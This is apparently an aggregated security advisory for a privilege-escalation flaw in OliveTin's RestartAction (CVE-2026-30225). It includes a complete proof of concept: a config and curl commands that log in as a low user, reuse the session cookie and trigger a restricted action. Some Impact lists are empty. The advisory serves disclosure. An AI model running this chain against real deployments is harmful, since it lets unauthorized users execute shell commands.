github.com/OliveTin/OliveTin
Affected
- introduced
0, fixed0.0.0-20260305000458-cb46a597b246(semver)
Fixed versions
0.0.0-20260305000458-cb46a597b246
Fix
- Fixed version
0.0.0-20260305000458-cb46a597b246go get github.com/OliveTin/[email protected]
Advisory
Also known as: CVE-2026-30225, GO-2026-4625
OliveTin's RestartAction always runs actions as guest
Summary
An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.
RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.
This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.
Details
Affected files:
service/internal/api/api.go
service/internal/auth/authcheck.go
Relevant code in RestartAction:
return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
Msg: &apiv1.StartActionRequest{
BindingId: execReqLogEntry.GetBindingId(),
UniqueTrackingId: req.Msg.ExecutionTrackingId,
},
})
Authentication in StartAction:
authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)
Issue:
PoC
Configuration:
defaultPermissions:
exec: false
users:
- username: low
password: lowpass
permissions:
exec: false
- username: guest
permissions:
exec: true
actions:
- id: restart_bypass_action
shell: |
echo "pwned" > /tmp/olivetin_restart_bypass.txt
Steps to reproduce:
Login as low user
LOW_LOGIN=$(curl -sS -i -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"lowpass"}')
LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')
Attempt direct execution (correctly blocked)
LOW_RUN=$(curl -sS -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"actionId":"restart_bypass_action"}')
echo "$LOW_RUN"
This should return permission denied.
Extract executionTrackingId from response:
TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)
echo "Tracking ID: $TRACKING_ID"
Call RestartAction:
curl -sS -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d "{\"executionTrackingId\":\"$TRACKING_ID\"}"
Verify command executed:
cat /tmp/olivetin_restart_bypass.txt
Output:
pwned
Impact
Any authenticated low-privilege user can execute actions they are not authorized to run if:
Because OliveTin actions execute system shell commands, this can lead to:
This affects all deployments where:
Medium Basis: The source's own band: MODERATE
0, fixed 0.0.0-20260305000458-cb46a597b246 (semver)0.0.0-20260305000458-cb46a597b246
0.0.0-20260305000458-cb46a597b246go get github.com/OliveTin/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0